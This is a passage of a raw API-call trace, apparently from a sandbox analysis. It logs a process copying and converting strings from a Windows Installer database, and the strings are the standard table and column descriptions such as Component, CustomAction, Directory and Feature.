lpWideCharStr=0x3b76e0, cchWideChar=159 | out: lpWideCharStr="Optional expression which skips the action if evaluates to expFalse.If the expression syntax is invalid, the engine will terminate, returning iesBadActionData.") returned 159 [0121.167] memcpy (in: _Dst=0x10ce458, _Src=0x362878, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.167] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b508, _Size=0x8 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=8, lpWideCharStr=0x338bf0, cchWideChar=8 | out: lpWideCharStr="Sequence") returned 8 [0121.167] memcpy (in: _Dst=0x10ce458, _Src=0x36287c, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.167] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b510, _Size=0x6c | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.167] CExposedStream::Read () returned 0x0 [0121.167] memcpy (in: _Dst=0x10ce54c, _Src=0x35b17c, _Size=0x3 | out: _Dst=0x10ce54c) returned 0x10ce54c [0121.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=111, lpWideCharStr=0x35b6d0, cchWideChar=111 | out: lpWideCharStr="Number that determines the sort order in which the actions are to be executed. Leave blank to suppress action.") returned 111 [0121.167] memcpy (in: _Dst=0x10ce458, _Src=0x362880, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.167] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b17f, _Size=0xf | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=15, lpWideCharStr=0x33a9e0, cchWideChar=15 | out: lpWideCharStr="AdminUISequence") returned 15 [0121.167] memcpy (in: _Dst=0x10ce458, _Src=0x362884, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.167] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b18e, _Size=0x13 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=19, lpWideCharStr=0x2fa810, cchWideChar=19 | out: lpWideCharStr="AdvtExecuteSequence") returned 19 [0121.167] memcpy (in: _Dst=0x10ce458, _Src=0x362888, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.167] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b1a1, _Size=0x6 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=6, lpWideCharStr=0x338c20, cchWideChar=6 | out: lpWideCharStr="Binary") returned 6 [0121.167] memcpy (in: _Dst=0x10ce458, _Src=0x36288c, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.167] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b1a7, _Size=0x27 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=39, lpWideCharStr=0x32f860, cchWideChar=39 | out: lpWideCharStr="Unique key identifying the binary data.") returned 39 [0121.168] memcpy (in: _Dst=0x10ce458, _Src=0x362890, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.168] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b1ce, _Size=0x4 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=4, lpWideCharStr=0x338c50, cchWideChar=4 | out: lpWideCharStr="Data") returned 4 [0121.168] memcpy (in: _Dst=0x10ce458, _Src=0x362894, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.168] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b1d2, _Size=0x1c | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=28, lpWideCharStr=0x3392d0, cchWideChar=28 | out: lpWideCharStr="The unformatted binary data.") returned 28 [0121.168] memcpy (in: _Dst=0x10ce458, _Src=0x362898, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.168] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b1ee, _Size=0x9 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=9, lpWideCharStr=0x33aa20, cchWideChar=9 | out: lpWideCharStr="Component") returned 9 [0121.168] memcpy (in: _Dst=0x10ce458, _Src=0x36289c, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.168] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b1f7, _Size=0x3b | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=59, lpWideCharStr=0x32bc70, cchWideChar=59 | out: lpWideCharStr="Primary key used to identify a particular component record.") returned 59 [0121.168] memcpy (in: _Dst=0x10ce458, _Src=0x3628a0, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.168] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b232, _Size=0xb | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=11, lpWideCharStr=0x33aa60, cchWideChar=11 | out: lpWideCharStr="ComponentId") returned 11 [0121.168] memcpy (in: _Dst=0x10ce458, _Src=0x3628a4, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.168] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b23d, _Size=0x4 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=4, lpWideCharStr=0x338c80, cchWideChar=4 | out: lpWideCharStr="Guid") returned 4 [0121.168] memcpy (in: _Dst=0x10ce458, _Src=0x3628a8, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.168] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b241, _Size=0x3e | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=62, lpWideCharStr=0x32bd10, cchWideChar=62 | out: lpWideCharStr="A string GUID unique to this component, version, and language.") returned 62 [0121.168] memcpy (in: _Dst=0x10ce458, _Src=0x3628ac, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.168] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b27f, _Size=0xa | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=10, lpWideCharStr=0x33aaa0, cchWideChar=10 | out: lpWideCharStr="Directory_") returned 10 [0121.168] memcpy (in: _Dst=0x10ce458, _Src=0x3628b0, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.168] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b289, _Size=0x9 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=9, lpWideCharStr=0x33aae0, cchWideChar=9 | out: lpWideCharStr="Directory") returned 9 [0121.168] memcpy (in: _Dst=0x10ce458, _Src=0x3628b4, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.168] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b292, _Size=0xd2 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=210, lpWideCharStr=0x2befe00, cchWideChar=210 | out: lpWideCharStr="Required key of a Directory table record. This is actually a property name whose value contains the actual path, set either by the AppSearch action or with the default setting obtained from the Directory table.") returned 210 [0121.169] memcpy (in: _Dst=0x10ce458, _Src=0x3628b8, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.169] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b364, _Size=0xa | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=10, lpWideCharStr=0x33ab20, cchWideChar=10 | out: lpWideCharStr="Attributes") returned 10 [0121.169] memcpy (in: _Dst=0x10ce458, _Src=0x3628bc, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.169] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b36e, _Size=0x27 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=39, lpWideCharStr=0x32f8d0, cchWideChar=39 | out: lpWideCharStr="Remote execution option, one of irsEnum") returned 39 [0121.169] memcpy (in: _Dst=0x10ce458, _Src=0x3628c0, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.169] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b395, _Size=0xe8 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=232, lpWideCharStr=0x3d4030, cchWideChar=232 | out: lpWideCharStr="A conditional statement that will disable this component if the specified condition evaluates to the 'True' state. If a component is disabled, it will not be installed, regardless of the 'Action' state associated with the component.") returned 232 [0121.169] memcpy (in: _Dst=0x10ce458, _Src=0x3628c4, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.169] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b47d, _Size=0x7 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=7, lpWideCharStr=0x338cb0, cchWideChar=7 | out: lpWideCharStr="KeyPath") returned 7 [0121.169] memcpy (in: _Dst=0x10ce458, _Src=0x3628c8, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.169] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b484, _Size=0x1c | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=28, lpWideCharStr=0x339330, cchWideChar=28 | out: lpWideCharStr="File;Registry;ODBCDataSource") returned 28 [0121.169] memcpy (in: _Dst=0x10ce458, _Src=0x3628cc, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.169] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b4a0, _Size=0xdc | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.169] CExposedStream::Read () returned 0x0 [0121.169] memcpy (in: _Dst=0x10ce5bc, _Src=0x35b17c, _Size=0x7 | out: _Dst=0x10ce5bc) returned 0x10ce5bc [0121.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=227, lpWideCharStr=0x3d4220, cchWideChar=227 | out: lpWideCharStr="Either the primary key into the File table, Registry table, or ODBCDataSource table. This extract path is stored when the component is installed, and is used to detect the presence of the component and to return the path to it.") returned 227 [0121.169] memcpy (in: _Dst=0x10ce458, _Src=0x3628d0, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.169] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b183, _Size=0xc | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=12, lpWideCharStr=0x33ab60, cchWideChar=12 | out: lpWideCharStr="CustomAction") returned 12 [0121.169] memcpy (in: _Dst=0x10ce458, _Src=0x3628d4, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.169] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b18f, _Size=0x53 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=83, lpWideCharStr=0x35b5d0, cchWideChar=83 | out: lpWideCharStr="Primary key, name of action, normally appears in sequence table unless private use.") returned 83 [0121.170] memcpy (in: _Dst=0x10ce458, _Src=0x3628d8, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.170] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b1e2, _Size=0x5e | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=94, lpWideCharStr=0x3818f0, cchWideChar=94 | out: lpWideCharStr="The numeric custom action type, consisting of source location, code type, entry, option flags.") returned 94 [0121.170] memcpy (in: _Dst=0x10ce458, _Src=0x3628dc, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.170] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b240, _Size=0x6 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=6, lpWideCharStr=0x338ce0, cchWideChar=6 | out: lpWideCharStr="Source") returned 6 [0121.170] memcpy (in: _Dst=0x10ce458, _Src=0x3628e0, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.170] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b246, _Size=0xc | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=12, lpWideCharStr=0x33aba0, cchWideChar=12 | out: lpWideCharStr="CustomSource") returned 12 [0121.170] memcpy (in: _Dst=0x10ce458, _Src=0x3628e4, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.170] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b252, _Size=0x2e | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=46, lpWideCharStr=0x34aa40, cchWideChar=46 | out: lpWideCharStr="The table reference of the source of the code.") returned 46 [0121.170] memcpy (in: _Dst=0x10ce458, _Src=0x3628e8, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.170] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b280, _Size=0x6 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=6, lpWideCharStr=0x338d10, cchWideChar=6 | out: lpWideCharStr="Target") returned 6 [0121.170] memcpy (in: _Dst=0x10ce458, _Src=0x3628ec, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.170] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b286, _Size=0x9 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=9, lpWideCharStr=0x33abe0, cchWideChar=9 | out: lpWideCharStr="Formatted") returned 9 [0121.170] memcpy (in: _Dst=0x10ce458, _Src=0x3628f0, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.170] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b28f, _Size=0x3a | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=58, lpWideCharStr=0x32bdb0, cchWideChar=58 | out: lpWideCharStr="Excecution parameter, depends on the type of custom action") returned 58 [0121.170] memcpy (in: _Dst=0x10ce458, _Src=0x3628f4, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.170] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b2c9, _Size=0xc | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=12, lpWideCharStr=0x33ac20, cchWideChar=12 | out: lpWideCharStr="ExtendedType") returned 12 [0121.170] memcpy (in: _Dst=0x10ce458, _Src=0x3628f8, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.170] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b2d5, _Size=0x57 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=87, lpWideCharStr=0x384930, cchWideChar=87 | out: lpWideCharStr="A numeric custom action type that extends code type or option flags of the Type column.") returned 87 [0121.171] memcpy (in: _Dst=0x10ce458, _Src=0x3628fc, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.171] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b32c, _Size=0x86 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=134, lpWideCharStr=0x3c3cd0, cchWideChar=134 | out: lpWideCharStr="Unique identifier for directory entry, primary key. If a property by this name is defined, it contains the full path to the directory.") returned 134 [0121.171] memcpy (in: _Dst=0x10ce458, _Src=0x362900, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.171] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b3b2, _Size=0x10 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=16, lpWideCharStr=0x33ac60, cchWideChar=16 | out: lpWideCharStr="Directory_Parent") returned 16 [0121.171] memcpy (in: _Dst=0x10ce458, _Src=0x362904, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.171] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b3c2, _Size=0xa6 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=166, lpWideCharStr=0x3c2720, cchWideChar=166 | out: lpWideCharStr="Reference to the entry in this table specifying the default parent directory. A record parented to itself or with a Null parent represents a root of the install tree.") returned 166 [0121.171] memcpy (in: _Dst=0x10ce458, _Src=0x362908, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.171] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b468, _Size=0xa | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=10, lpWideCharStr=0x33aca0, cchWideChar=10 | out: lpWideCharStr="DefaultDir") returned 10 [0121.171] memcpy (in: _Dst=0x10ce458, _Src=0x36290c, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.171] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b472, _Size=0x29 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=41, lpWideCharStr=0x34aac0, cchWideChar=41 | out: lpWideCharStr="The default sub-path under parent's path.") returned 41 [0121.171] memcpy (in: _Dst=0x10ce458, _Src=0x362910, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.171] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b49b, _Size=0x7 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=7, lpWideCharStr=0x338d40, cchWideChar=7 | out: lpWideCharStr="Feature") returned 7 [0121.171] memcpy (in: _Dst=0x10ce458, _Src=0x362914, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.171] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b4a2, _Size=0x39 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=57, lpWideCharStr=0x32be50, cchWideChar=57 | out: lpWideCharStr="Primary key used to identify a particular feature record.") returned 57 [0121.171] memcpy (in: _Dst=0x10ce458, _Src=0x362918, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.171] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b4db, _Size=0xe | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=14, lpWideCharStr=0x33ace0, cchWideChar=14 | out: lpWideCharStr="Feature_Parent") returned 14 [0121.171] memcpy (in: _Dst=0x10ce458, _Src=0x36291c, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.171] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b4e9, _Size=0x93 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.171] CExposedStream::Read () returned 0x0 [0121.171] memcpy (in: _Dst=0x10ce573, _Src=0x35b17c, _Size=0x1 | out: _Dst=0x10ce573) returned 0x10ce573 [0121.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=148, lpWideCharStr=0x210cfb0, cchWideChar=148 | out: lpWideCharStr="Optional key of a parent record in the same table. If the parent is not selected, then the record will not be installed. Null indicates a root item.") returned 148 [0121.172] memcpy (in: _Dst=0x10ce458, _Src=0x362920, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.172] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b17d, _Size=0x5 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=5, lpWideCharStr=0x338d70, cchWideChar=5 | out: lpWideCharStr="Title") returned 5 [0121.172] memcpy (in: _Dst=0x10ce458, _Src=0x362924, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.172] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b182, _Size=0x2e | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=46, lpWideCharStr=0x34ac40, cchWideChar=46 | out: lpWideCharStr="Short text identifying a visible feature item.") returned 46 [0121.172] memcpy (in: _Dst=0x10ce458, _Src=0x362928, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.172] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b1b0, _Size=0x3a | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=58, lpWideCharStr=0x32c210, cchWideChar=58 | out: lpWideCharStr="Longer descriptive text describing a visible feature item.") returned 58 [0121.172] memcpy (in: _Dst=0x10ce458, _Src=0x36292c, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.172] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b1ea, _Size=0x7 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=7, lpWideCharStr=0x338da0, cchWideChar=7 | out: lpWideCharStr="Display") returned 7 [0121.172] memcpy (in: _Dst=0x10ce458, _Src=0x362930, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.172] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b1f1, _Size=0x3e | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=62, lpWideCharStr=0x32c0d0, cchWideChar=62 | out: lpWideCharStr="Numeric sort order, used to force a specific display ordering.") returned 62 [0121.185] memcpy (in: _Dst=0x10ce458, _Src=0x362934, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.185] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b22f, _Size=0x5 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.185] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=5, lpWideCharStr=0x338dd0, cchWideChar=5 | out: lpWideCharStr="Level") returned 5 [0121.185] memcpy (in: _Dst=0x10ce458, _Src=0x362938, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.185] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b234, _Size=0x81 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.186] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=129, lpWideCharStr=0x3c5510, cchWideChar=129 | out: lpWideCharStr="The install level at which record will be initially selected. An install level of 0 will disable an item and prevent its display.") returned 129 [0121.186] memcpy (in: _Dst=0x10ce458, _Src=0x36293c, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.186] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b2b5, _Size=0x9 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.186] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=9, lpWideCharStr=0x33ad20, cchWideChar=9 | out: lpWideCharStr="UpperCase") returned 9 [0121.186] memcpy (in: _Dst=0x10ce458, _Src=0x362940, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.187] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b2be, _Size=0x6b | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.187] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=107, lpWideCharStr=0x35c6d0, cchWideChar=107 | out: lpWideCharStr="The name of the Directory that can be configured by the UI. A non-null value will enable the browse button.") returned 107 [0121.187] memcpy (in: _Dst=0x10ce458, _Src=0x362944, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.187] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b329, _Size=0x51 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.187] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=81, lpWideCharStr=0x377610, cchWideChar=81 | out: lpWideCharStr="0;1;2;4;5;6;8;9;10;16;17;18;20;21;22;24;25;26;32;33;34;36;37;38;48;49;50;52;53;54") returned 81 [0121.187] memcpy (in: _Dst=0x10ce458, _Src=0x362948, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.187] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b37a, _Size=0x12 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.187] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=18, lpWideCharStr=0x2fa860, cchWideChar=18 | out: lpWideCharStr="Feature attributes") returned 18 [0121.187] memcpy (in: _Dst=0x10ce458, _Src=0x36294c, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.187] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b38c, _Size=0x11 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.187] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=17, lpWideCharStr=0x2fa8b0, cchWideChar=17 | out: lpWideCharStr="FeatureComponents") returned 17 [0121.187] memcpy (in: _Dst=0x10ce458, _Src=0x362950, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.187] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b39d, _Size=0x8 | out: _Dst=0x10ce4e0) returned 